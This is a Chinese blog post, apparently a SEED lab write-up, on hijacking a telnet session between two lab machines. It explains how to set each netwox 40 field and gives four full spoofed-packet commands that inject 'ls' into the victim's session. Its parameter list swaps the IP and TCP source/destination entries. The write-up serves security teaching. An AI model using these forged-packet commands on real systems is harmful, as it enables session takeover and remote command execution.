Attacks on TCP/IP Protocols (Task5) TCP Session Hijacking

来源:互联网 发布:演技排行榜知乎 编辑:程序博客网 时间:2024/06/06 03:39

Task5: TCP Session Hijacking

①TCP会话劫持工作原理

TCP会话劫持攻击的目的是通过在该会话中注入恶意内容来劫持两名受害者之间的现有TCP连接(会话)。 如果这个连接是Telnet会话,攻击者可以在该会话中注入恶意命令,导致受害者执行恶意命令。 下图(Figure 2)说明了攻击。


注:实验过程中遇到的问题或者必要知识点的储备如下

(1)使用Wireshark来观察网络流量时,默认情况下,其TCP序列号显示值等于实际序列号减去初始序列号。如果要查看数据包中的实际序列号,可按下图操作

Edit Preferences...》》Protocols》》TCP》》uncheck the "Relative Sequence Numbers"



(2)Machine2和Machine3建立了telnet会话(Machine2使用telnet命令与Machine3建立远程连接),attacker(Machine1)如何劫持该会话呢,恶意命令如何注入呢?

这是笔者在实验过程中遇到的问题,问题的本质实际是,Machine1如何构造一个有效的TCP报文,来伪造成Machine2发给Machine3。这就涉及到TCP报文正确的参数设置。使用netwox 40指令,构造一个ipv4 TCP报文,具体的参数设置讲解如下。

netwox 40号指令在Netwag工具下配置界面

 

指令的生成,点击“Generate”按钮即可。

参数设置步骤及参数设置值如何确定(有些不必要的参数且不需要设置的,笔者没有列出)

1、attacker(Machine1)开启wireshark,并设置过滤器--filter telnet,然后开始监控局域网内的流量。

2、attacker开启Netwag工具(该工具可半自动化构造netwox指令),后面用作构造netwox指令的工具。因为netwox 40指令需要设置的参数比较多,笔者建议使用Netwag工具。
3、Machine2使用telnet命令远程连接Machine3



Machine2(192.168.175.140) --> Machine3(192.168.175.141)(后称报文1,用于配置虚假报文除TCP seqnum”和“TCP acknum”字段以外的其他字段)



Machine3(192.168.175.141) --> Machine2(192.168.175.140)(最新的应答报文,后称报文2,分别使用该报文的“Acknowledgement number”和“Next sequence number”字段设置恶意报文报文的“TCP seqnum”和“TCP acknum”字段)


4、attacker观察数据包,依次设置参数
IP4 tos :无需设置
IP4 id :无需设置,因为报文会设置为不允许分段
IP4 dontfrag :1(不允许分段,参考报文1)
IP4 offsetfrag :0(参考报文1)
IP4 ttl :64(参考报文1)
IP4 protocol :6(参考报文1)
IP4 src :48222(参考报文1)
IP4 dst :23(参考报文1,telnet服务默认端口)
IPv4 options :无需设置(参考报文1)
TCP src :192.168.175.140
TCP dst :192.168.175.141
TCP seqnum :1137345078(参考报文2)
TCP acknum :2543750827(参考报文2)
TCP ack :1
TCP psh :1(表示有data数据传输)
TCP window :128(笔者随意设置的)
TCP options :没设置。理论上应该时间戳选项(没设置主要是因为笔者不会啊~大哭

笔者遇到的问题:当时为了使报文更加健壮,我参照报文1设置了时间戳。但是因为自己设置的时间戳是过去的时间,反而收不到Machine3的应答。后来弄了好久也没能解决,最后干脆不设置了。。
mixed data :该选项的值的设置需要留心,发送请求的时候(Machine2到Machine3),命令字符串会被拆分为单个字符依次传输。即,对于每一个字符都构造一个telnet报文。但是有一点例外,换行符“/r”被构造成:0d 00 两个字节一起传输。而我们在构造attacker的攻击数据包的时候,需要将 0d 00 拆到两个报文分别发送。例:

假设attacker想要注入的恶意命令是:ls,其转换为16进制ASCII码为:6c 73,在加上换行符:/r (其被构造成 0d 00)。所以我们要构造四个数据包。

构造第一个数据包:(mixed data为 6c)

netwox 40 --ip4-dontfrag --ip4-offsetfrag 0 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.175.140 --ip4-dst 192.168.175.141 --tcp-src 48222 --tcp-dst 23 --tcp-seqnum 1137345078 --tcp-acknum 2543750827 --tcp-ack --tcp-psh --tcp-window 128 --tcp-data "6c"





构造第二个数据包:(mixed data为 73)

netwox 40 --ip4-dontfrag --ip4-offsetfrag 0 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.175.140 --ip4-dst 192.168.175.141 --tcp-src 48222 --tcp-dst 23 --tcp-seqnum 1137345079 --tcp-acknum 2543750828 --tcp-ack --tcp-psh --tcp-window 128 --tcp-data "73"

该指令相比于上一条指令,只更改了“TCP seqnum”,“TCP acknum”和“mixed data”三个字段,其中前两个字段值得参考Machine3最新的应答报文的“Acknowledgement number”和“Next sequence number”字段。(后面构造数据包的过程与之相同)





构造第三个数据包:(mixed data为 0d)

netwox 40 --ip4-dontfrag --ip4-offsetfrag 0 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.175.140 --ip4-dst 192.168.175.141 --tcp-src 48222 --tcp-dst 23 --tcp-seqnum 1137345080 --tcp-acknum 2543750829 --tcp-ack --tcp-psh --tcp-window 128 --tcp-data "0d"




从上图中可以看到,attacker截获的来自Machine3的应答报文,包含的数据是对“ls”指令执行的结果,所以TCP会话劫持攻击实现。但是,若想victim继续执行恶意命令,则需要构造第四个数据包(返回“[04/27/2017 20:40] seed@ubuntu:~$ ”这样形式的数据),以此来设置victim等待执行下一条指令的状态。


构造第四个数据包:(mixed data为 00)

netwox 40 --ip4-dontfrag --ip4-offsetfrag 0 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.175.140 --ip4-dst 192.168.175.141 --tcp-src 48222 --tcp-dst 23 --tcp-seqnum 1137345081 --tcp-acknum 2543752037 --tcp-ack --tcp-psh --tcp-window 128 --tcp-data "00"





过程演示

按照上面的步骤,即可完成TCP会话劫持攻击。


0 0
原创粉丝点击